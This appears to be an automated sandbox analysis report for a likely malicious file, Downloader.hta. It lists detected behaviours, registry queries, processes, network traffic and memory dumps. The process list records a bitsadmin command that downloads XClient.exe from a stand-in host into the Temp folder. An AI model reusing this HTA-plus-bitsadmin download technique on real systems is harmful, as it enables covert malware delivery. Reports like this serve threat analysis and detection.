Analysis Overview
SHA256
30211495aba380e4649ba7a892fea8523b0857a1db4a3be3ec59a822d385a6b4
Threat Level: Likely malicious
The file Downloader.hta was found to be: Likely malicious.
Malicious Activity Summary
Download via BitsAdmin
Checks computer location settings
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of SendNotifyMessage
Checks SCSI registry key(s)
Suspicious behavior: GetForegroundWindowSpam
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-31 20:29
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-31 20:29
Reported
2024-07-31 20:47
Platform
win10v2004-20240730-en
Max time kernel
1049s
Max time network
776s
Command Line
Signatures
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-195445723-368091294-1661186673-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 | C:\Windows\system32\taskmgr.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A | C:\Windows\system32\taskmgr.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName | C:\Windows\system32\taskmgr.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskmgr.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskmgr.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\system32\taskmgr.exe | N/A |
| Token: SeCreateGlobalPrivilege | N/A | C:\Windows\system32\taskmgr.exe | N/A |
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4364 wrote to memory of 1068 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
| PID 4364 wrote to memory of 1068 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
| PID 4364 wrote to memory of 1068 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer 8 http://www.example.com/XClient.exe C:\Users\Admin\AppData\Local\Temp\XClient.exe
C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 75.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 35.58.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.example.com | udp |
| US | 93.184.215.14:80 | www.example.com | tcp |
| US | 8.8.8.8:53 | 14.215.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 192.142.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| NL | 52.111.243.31:443 | tcp | |
| US | 8.8.8.8:53 | 29.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.143.182.52.in-addr.arpa | udp |
| US | 93.184.215.14:80 | www.example.com | tcp |
Files
memory/3124-0-0x000002AB5CBA0000-0x000002AB5CBA1000-memory.dmp
memory/3124-1-0x000002AB5CBA0000-0x000002AB5CBA1000-memory.dmp
memory/3124-2-0x000002AB5CBA0000-0x000002AB5CBA1000-memory.dmp
memory/3124-6-0x000002AB5CBA0000-0x000002AB5CBA1000-memory.dmp
memory/3124-8-0x000002AB5CBA0000-0x000002AB5CBA1000-memory.dmp
memory/3124-12-0x000002AB5CBA0000-0x000002AB5CBA1000-memory.dmp
memory/3124-11-0x000002AB5CBA0000-0x000002AB5CBA1000-memory.dmp
memory/3124-10-0x000002AB5CBA0000-0x000002AB5CBA1000-memory.dmp
memory/3124-7-0x000002AB5CBA0000-0x000002AB5CBA1000-memory.dmp
memory/3124-9-0x000002AB5CBA0000-0x000002AB5CBA1000-memory.dmp